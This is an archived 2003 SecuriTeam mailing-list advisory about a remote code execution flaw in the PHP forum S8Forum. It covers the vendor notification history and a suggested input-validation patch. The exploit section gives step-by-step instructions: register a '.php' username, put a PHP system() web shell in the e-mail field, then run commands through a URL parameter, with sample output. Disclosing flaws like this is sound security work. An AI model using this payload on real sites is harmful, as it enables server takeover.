[EXPL] Security Vulnerability Found in S8Forum

From: support@securiteam.com
Date: 01/13/03

  • Next message: support@securiteam.com: "[NEWS] More Information Regarding Etherleak"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 13 Jan 2003 11:24:53 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Security Vulnerability Found in S8Forum
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.hotscripts.com/Detailed/9204.html> S8Forum is written with
    PHP. The forum doesn't use a database, instead it creates new file with
    the name of the registered user then save it in users' directory without
    extension.

    A security vulnerability in the product allows remote attackers to cause
    it to execute arbitrary code.

    DETAILS

    Exploit:
     - Go to Register
     - Insert in Username:
    any_name.php
    NOTE: .php
     - In password : any_pasword.
     - In E-Mail:
    <? system($cmd); ?>

    Or any other code.

     - Now go to this URL:
    http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a

    The following response should return:
    evil.php:c4ca4238a0b923820dcc509a6f75849b Linux xxx.xxx.net 2.4.18 #2 SMP
    Mon Nov 18 16:50:02 CST 2002 i686 unknown

    Solution:
    Open register.php
     - Step1 find this lines:

    case 'registration_confirm':
    // what to do with the form data

    include("settings/header.php");

     - The next step add below:
    if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $email) && $email != "") {
    echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid email
    address. Press the back button and correct it.</font></p>";
        }
    if(strstr($uname, "."))
    echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid username.
    Press the back button and correct it.</font></p>";
    break;

    Note:
    S8Forum author has been notified on Sun 17/11 2002. Another mail was sent
    on 22/12 2002. No answer so far, no new release, no patch to fix these
    issues.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nmsh_sa@yahoo.com> NaSsEr
    M.Sh.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages